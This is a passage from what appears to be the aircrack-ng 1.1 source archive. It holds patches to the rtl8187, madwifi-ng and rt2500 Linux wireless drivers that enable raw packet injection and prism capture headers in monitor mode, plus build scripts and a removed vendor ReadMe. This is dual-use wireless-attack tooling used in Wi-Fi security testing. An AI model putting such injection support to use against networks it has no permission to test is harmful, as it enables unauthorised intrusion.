+/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod 2008-02-22 15:33:07.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_rx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_tx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_wx.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_module.o /usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_softmac_wx.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.o diff -Naur rtl8187_linux_26.1010.0622.2006/makedrv~ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ --- rtl8187_linux_26.1010.0622.2006/makedrv~ 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/makedrv~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,13 +0,0 @@ -#!/bin/sh - -#tar -zxvf stack.tar.gz -#tar -zxvf drv.tar.gz -cd ieee80211 -make clean -make -cd ../beta-8187 -make clean -make -cd .. - - diff -Naur rtl8187_linux_26.1010.0622.2006/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/Makefile --- rtl8187_linux_26.1010.0622.2006/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/Makefile 2008-01-30 17:39:29.000000000 +0100 @@ -0,0 +1,38 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + -rm -f ieee80211/Module.symvers 2>/dev/null + -rm -f ieee80211/Modules.symvers 2>/dev/null + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C beta-8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./beta-8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C beta-8187 $(@) + +distclean: clean + diff -Naur rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ --- rtl8187_linux_26.1010.0622.2006/ReadMe.txt~ 2006-06-06 10:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ReadMe.txt~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,129 +0,0 @@ -Release Date: 2006-01-13, ver 1.1 -RTL8187 Linux driver version 1.1 - - --This driver supports RealTek RTL8187 Wireless LAN driver for - Fedora Core 2/3/4/5, Debian 3.1, Mandrake 10.2/Mandriva 2006, - SUSE 9.3/10.1/10.2, Gentoo 3.1, etc. - - Support Client mode for either infrastructure or adhoc mode - - Support WEP and WPAPSK connection - -< Component > -The driver is composed of several parts: - 1. Module source code - stack.tar.gz - drv.tar.gz - - 2. Script ot build the modules - makedrv - - 3. Script to load/unload modules - wlan0up - wlan0down - - 4. Script and configuration for DHCP - wlan0dhcp - ifcfg-wlan0 - 4. Supplicant source code: - wpa_supplicant-0.4.9.tar.gz - - 5. Example of supplicant configuration file: - wpa1.conf - -< Installation > -Runing the scripts can finish all operations of building up modules -from the source code and start the nic. - 1. Build up the drivers from the source code - ./makedrv - - 2. load the driver module to kernel and start up nic - ./wlan0up - -< Set wireless lan MIBs > -This driver uses Wireless Extension as an interface allowing you to set -Wireless LAN specific parameters. - -Current driver supports "iwlist" to show the device status of nic - iwlist wlan0 [parameters] -where - parameter explaination [parameters] - ----------------------- ------------- - Show available chan and freq freq / channel - Show and Scan BSS and IBSS scan[ning] - Show supported bit-rate rate / bit[rate] - Show Power Management mode power - -For example: - iwlist wlan0 channel - iwlist wlan0 scan - iwlist wlan0 rate - iwlist wlan0 power - -Driver also supports "iwconfig", manipulate driver private ioctls, to set -MIBs. - - iwconfig wlan0 [parameters] [val] -where - parameter explaination [parameters] [val] constraints - ----------------------- ------------- ------------------ - Connect to AP by address ap [mac_addr] - Set the essid, join (I)BSS essid [essid] - Set operation mode mode {Managed|Ad-hoc} - Set keys and security mode key/enc[ryption] {N|open|restricted|off} - -For example: - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - iwconfig wlan0 essid "ap_name" - iwconfig wlan0 mode Ad-hoc - iwconfig wlan0 mode essid "name" mode Ad-hoc - iwconfig wlan0 key 0123456789 [2] open - iwconfig wlan0 key off - iwconfig wlan0 key restricted [3] 0123456789 - -< Getting IP address > -After start up the nic, the network needs to obtain an IP address before -transmit/receive data. -This can be done by setting the static IP via "ifconfig wlan0 IP_ADDRESS" -command, or using DHCP. - -If using DHCP, setting steps is as below: - (1)connect to an AP via "iwconfig" settings - iwconfig wlan0 essid [name] or - iwconfig wlan0 ap XX:XX:XX:XX:XX:XX - - (2)run the script which run the dhclient - ./wlan0dhcp - -< WPAPSK > -WPA_SUPPLICANT help the network to communicate under the protection of WPAPSK -mechanism - - (1)Unpack source code of WPA supplicant: - tar -zxvf wpa_supplicant-0.4.9.tar.gz - cd wpa_supplicant-0.4.9 - - (2)Create .config file: - cp defconfig .config - - (3)Edit .config file, uncomment the following line: - #CONFIG_DRIVER_IPW=y. - - (4)Build WPA supplicant: - make - - (5)Edit wpa_supplicant.conf to set up SSID and its passphrase. - For example, the following setting in "wpa1.conf" means SSID - to join is "BufAG54_Ch6" and its passphrase is "87654321". - network={ - ssid="BufAG54_Ch6" - proto=WPA - key_mgmt=WPA-PSK - pairwise=CCMP TKIP - group=CCMP TKIP WEP104 WEP40 - psk="87654321" - priority=2 - } - - (6)Execute WPA supplicant (Assume 8187 and related modules had been - loaded): - ./wpa_supplicant -D ipw -c wpa1.conf -i wlan0 & - diff -Naur rtl8187_linux_26.1010.0622.2006/symvers rtl8187_linux_26.1010.0622.2006_rawtx/symvers --- rtl8187_linux_26.1010.0622.2006/symvers 1970-01-01 01:00:00.000000000 +0100 +++ rtl8187_linux_26.1010.0622.2006_rawtx/symvers 2008-01-30 17:38:11.000000000 +0100 @@ -0,0 +1,25 @@ +#!/bin/sh + +cd beta-8187 + +if [ -e Module.symvers ] +then + rm Module.symvers +fi + +if [ -e Modules.symvers ] +then + rm Modules.symvers +fi + +if [ -e ../ieee80211/Module.symvers ] +then + ln -sf ../ieee80211/Module.symvers ./ +fi + +if [ -e ../ieee80211/Modules.symvers ] +then + ln -sf ../ieee80211/Modules.symvers ./ +fi + +cd .. diff -Naur rtl8187_linux_26.1010.0622.2006/wlan0rmv rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv --- rtl8187_linux_26.1010.0622.2006/wlan0rmv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/wlan0rmv 2008-01-30 17:38:11.000000000 +0100 @@ -1,5 +1,9 @@ #!/bin/bash -rmmod r8180 -rmmod ieee80211_r8180 -rmmod ieee80211_crypt_r8180 +rmmod rtl8187 2>/dev/null +rmmod r8187 2>/dev/null +rmmod ieee80211_rtl 2>/dev/null +rmmod ieee80211_crypt_ccmp_rtl 2>/dev/null +rmmod ieee80211_crypt_tkip_rtl 2>/dev/null +rmmod ieee80211_crypt_wep_rtl 2>/dev/null +rmmod ieee80211_crypt_rtl 2>/dev/null aircrack-ng-1.1/patches/old/madwifi-ng-r3386v3.patch0000644000000000000000000000250511134713404020536 0ustar rootroot--- madwifi-ng/ath/if_ath.c 2008-03-16 20:26:53.000000000 -0400 +++ madwifi-ng_raw/ath/if_ath.c 2008-03-17 20:11:30.000000000 -0400 @@ -2875,6 +2875,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (SKB_CB(skb) + 1); /* NB: SKB_CB casts to CB struct*. */ @@ -2888,7 +2889,12 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try0; +// try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; @@ -2913,7 +2919,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.1/patches/old/rtl8187_1010.0622.patch0000644000000000000000000001477210761053203017652 0ustar rootroot--- rtl8187_linux_26.1010.0622.2006/beta-8187/ieee80211.h 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/ieee80211.h 2006-11-29 20:28:16.152853116 +0100 @@ -156,6 +156,23 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +#define IW_MODE_MONITOR_PRISM 15 +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187_core.c 2006-12-16 16:44:12.244211046 +0100 @@ -1112,7 +1112,10 @@ struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -2346,7 +2349,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,6 +2372,8 @@ // priv->rxskb = skb; // priv->tempstats = &stats; + + stats.signal -= stats.noise; if(!ieee80211_rx(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_prismhdr/beta-8187/r8187.h 2006-12-16 16:44:31.418296142 +0100 @@ -148,7 +148,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211.h 2006-11-29 20:45:25.190415628 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_rx.c 2006-12-14 11:40:23.461865287 +0100 @@ -49,12 +49,72 @@ struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, rx_stats->mac_time); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_tx.c 2006-12-16 11:57:57.695139366 +0100 @@ -458,7 +458,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_prismhdr/ieee80211/ieee80211_softmac_wx.c 2006-11-29 20:43:49.275996836 +0100 @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } aircrack-ng-1.1/patches/old/madwifi-ng-r1475_disable_retry_raw.patch0000644000000000000000000000710410761053203024042 0ustar rootrootdiff -Nurb madwifi-ng-r1475/ath/if_ath.c patched_madwifi-ng-r1475/ath/if_ath.c --- madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:32:54.000000000 +0100 +++ patched_madwifi-ng-r1475/ath/if_ath.c 2006-03-19 23:23:08.000000000 +0100 @@ -2171,6 +2171,7 @@ struct ath_softc *sc = dev->priv; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); + struct ieee80211com *ic = &sc->sc_ic; const HAL_RATE_TABLE *rt; int pktlen; int hdrlen; @@ -2185,9 +2186,13 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the card waits for acknowledges... + */ rt = sc->sc_currates; - txrate = dot11_to_ratecode(sc, rt, ph->rate0); + txrate = dot11_to_ratecode(sc, rt, (ic->ic_opmode == IEEE80211_M_MONITOR) ? (ic->inject_rate / 500) : ph->rate0); power = ph->power > 60 ? 60 : ph->power; hdrlen = ieee80211_anyhdrsize(wh); pktlen = skb->len + IEEE80211_CRC_LEN; diff -Nurb madwifi-ng-r1475/net80211/ieee80211_var.h patched_madwifi-ng-r1475/net80211/ieee80211_var.h --- madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_var.h 2006-03-19 23:24:48.000000000 +0100 @@ -138,6 +138,7 @@ u_int16_t ic_txpowlimit; /* global tx power limit */ u_int16_t ic_uapsdmaxtriggers; /* max triggers that could arrive */ u_int8_t ic_coverageclass; /* coverage class */ + int inject_rate; /* injection rate in Monitor mode */ /* * Channel state: diff -Nurb madwifi-ng-r1475/net80211/ieee80211_wireless.c patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c --- madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:32:40.000000000 +0100 +++ patched_madwifi-ng-r1475/net80211/ieee80211_wireless.c 2006-03-19 23:30:28.000000000 +0100 @@ -346,6 +346,18 @@ struct ifmediareq imr; int rate, retv; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (vap->iv_media.ifm_cur == NULL) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -379,9 +391,15 @@ struct iw_param *rrq, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); vap->iv_media.ifm_status(vap->iv_dev, &imr); @@ -1051,6 +1069,7 @@ __u32 *mode, char *extra) { struct ieee80211vap *vap = dev->priv; + struct ieee80211com *ic = vap->iv_ic; struct ifmediareq imr; int valid = 0; @@ -1060,8 +1079,10 @@ if (imr.ifm_active & IFM_IEEE80211_HOSTAP) valid = (*mode == IW_MODE_MASTER); #if WIRELESS_EXT >= 15 - else if (imr.ifm_active & IFM_IEEE80211_MONITOR) + else if (imr.ifm_active & IFM_IEEE80211_MONITOR) { valid = (*mode == IW_MODE_MONITOR); + ic->inject_rate = 5500; /* default = 5.5M CCK */ + } #endif else if (imr.ifm_active & IFM_IEEE80211_ADHOC) valid = (*mode == IW_MODE_ADHOC); aircrack-ng-1.1/patches/old/rt2500-cvs-20051008-prismheader.patch0000644000000000000000000001172010761053203022401 0ustar rootrootdiff -ur ../rt2500-cvs-20051008/Module/rtmp_data.c ./Module/rtmp_data.c --- ../rt2500-cvs-20051008/Module/rtmp_data.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_data.c 2005-11-05 01:20:02.000000000 +0100 @@ -50,6 +50,7 @@ 0, /* RATE_1 */ 1, /* RATE_2 */ 2, /* RATE_5_5 */ 3, /* RATE_11 */ // see BBP spec 11, /* RATE_6 */ 15, /* RATE_9 */ 10, /* RATE_12 */ 14, /* RATE_18 */ // see IEEE802.11a-1999 p.14 9, /* RATE_24 */ 13, /* RATE_36 */ 8, /* RATE_48 */ 12 /* RATE_54 */ }; // see IEEE802.11a-1999 p.14 +static UINT _11G_RATES[12] = { 0, 0, 0, 0, 6, 9, 12, 18, 24, 36, 48, 54 }; #define COLLECT_RX_ANTENNA_AVERAGE_RSSI(_pAd, _RxAnt, _rssi) \ { \ @@ -1132,9 +1133,61 @@ if (pAdapter->PortCfg.BssType == BSS_MONITOR) { struct sk_buff *skb; + wlan_ng_prism2_header *ph; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + // setup the wlan-ng prismheader + + if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) + pskb_expand_head(skb, sizeof(wlan_ng_prism2_header), 0, GFP_ATOMIC); + + ph = (wlan_ng_prism2_header *) + skb_push(skb, sizeof(wlan_ng_prism2_header)); + memset(ph, 0, sizeof(wlan_ng_prism2_header)); + + ph->msgcode = DIDmsg_lnxind_wlansniffrm; + ph->msglen = sizeof(wlan_ng_prism2_header); + strcpy(ph->devname, pAdapter->net_dev->name); + + ph->hosttime.did = DIDmsg_lnxind_wlansniffrm_hosttime; + ph->mactime.did = DIDmsg_lnxind_wlansniffrm_mactime; + ph->channel.did = DIDmsg_lnxind_wlansniffrm_channel; + ph->rssi.did = DIDmsg_lnxind_wlansniffrm_rssi; + ph->signal.did = DIDmsg_lnxind_wlansniffrm_signal; + ph->noise.did = DIDmsg_lnxind_wlansniffrm_noise; + ph->rate.did = DIDmsg_lnxind_wlansniffrm_rate; + ph->istx.did = DIDmsg_lnxind_wlansniffrm_istx; + ph->frmlen.did = DIDmsg_lnxind_wlansniffrm_frmlen; + + ph->hosttime.len = 4; + ph->mactime.len = 4; + ph->channel.len = 4; + ph->rssi.len = 4; + ph->signal.len = 4; + ph->noise.len = 4; + ph->rate.len = 4; + ph->istx.len = 4; + ph->frmlen.len = 4; + + ph->hosttime.data = jiffies; + ph->signal.data = pRxD->BBR1; + ph->channel.data = pAdapter->PortCfg.IbssConfig.Channel; + ph->noise.data = pAdapter->PortCfg.LastR17Value; + ph->rssi.data = ph->signal.data - ph->noise.data; + ph->frmlen.data = pRxD->DataByteCnt; + + if (pRxD->Ofdm == 1) + { + for (i = 4; i < 12; i++) + if (pRxD->BBR0 == PlcpSignal[i]) + ph->rate.data = _11G_RATES[i] * 2; + } + else + ph->rate.data = pRxD->BBR0 / 5; + + // end prismheader setup + skb->dev = pAdapter->net_dev; memcpy(skb_put(skb, pRxD->DataByteCnt), pData, pRxD->DataByteCnt); skb->mac.raw = skb->data; diff -ur ../rt2500-cvs-20051008/Module/rtmp.h ./Module/rtmp.h --- ../rt2500-cvs-20051008/Module/rtmp.h 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp.h 2005-10-09 00:10:27.000000000 +0200 @@ -2549,4 +2549,54 @@ IN ULONG DescriptorType); #endif +#ifndef _PRISMHEADER +#define _PRISMHEADER + +enum { + DIDmsg_lnxind_wlansniffrm = 0x00000044, + DIDmsg_lnxind_wlansniffrm_hosttime = 0x00010044, + DIDmsg_lnxind_wlansniffrm_mactime = 0x00020044, + DIDmsg_lnxind_wlansniffrm_channel = 0x00030044, + DIDmsg_lnxind_wlansniffrm_rssi = 0x00040044, + DIDmsg_lnxind_wlansniffrm_sq = 0x00050044, + DIDmsg_lnxind_wlansniffrm_signal = 0x00060044, + DIDmsg_lnxind_wlansniffrm_noise = 0x00070044, + DIDmsg_lnxind_wlansniffrm_rate = 0x00080044, + DIDmsg_lnxind_wlansniffrm_istx = 0x00090044, + DIDmsg_lnxind_wlansniffrm_frmlen = 0x000A0044 +}; +enum { + P80211ENUM_msgitem_status_no_value = 0x00 +}; +enum { + P80211ENUM_truth_false = 0x00, + P80211ENUM_truth_true = 0x01 +}; + +typedef struct { + u_int32_t did; + u_int16_t status; + u_int16_t len; + u_int32_t data; +} p80211item_uint32_t; + +typedef struct { + u_int32_t msgcode; + u_int32_t msglen; +#define WLAN_DEVNAMELEN_MAX 16 + u_int8_t devname[WLAN_DEVNAMELEN_MAX]; + p80211item_uint32_t hosttime; + p80211item_uint32_t mactime; + p80211item_uint32_t channel; + p80211item_uint32_t rssi; + p80211item_uint32_t sq; + p80211item_uint32_t signal; + p80211item_uint32_t noise; + p80211item_uint32_t rate; + p80211item_uint32_t istx; + p80211item_uint32_t frmlen; +} wlan_ng_prism2_header; + +#endif + #endif // __RTMP_H__ diff -ur ../rt2500-cvs-20051008/Module/rtmp_info.c ./Module/rtmp_info.c --- ../rt2500-cvs-20051008/Module/rtmp_info.c 2005-10-06 04:53:08.000000000 +0200 +++ ./Module/rtmp_info.c 2005-10-09 00:07:51.000000000 +0200 @@ -1973,7 +1973,7 @@ { if (pAdapter->PortCfg.BssType == BSS_MONITOR) { - pAdapter->net_dev->type = 801; + pAdapter->net_dev->type = 802; // ARPHRD_IEEE80211_PRISM 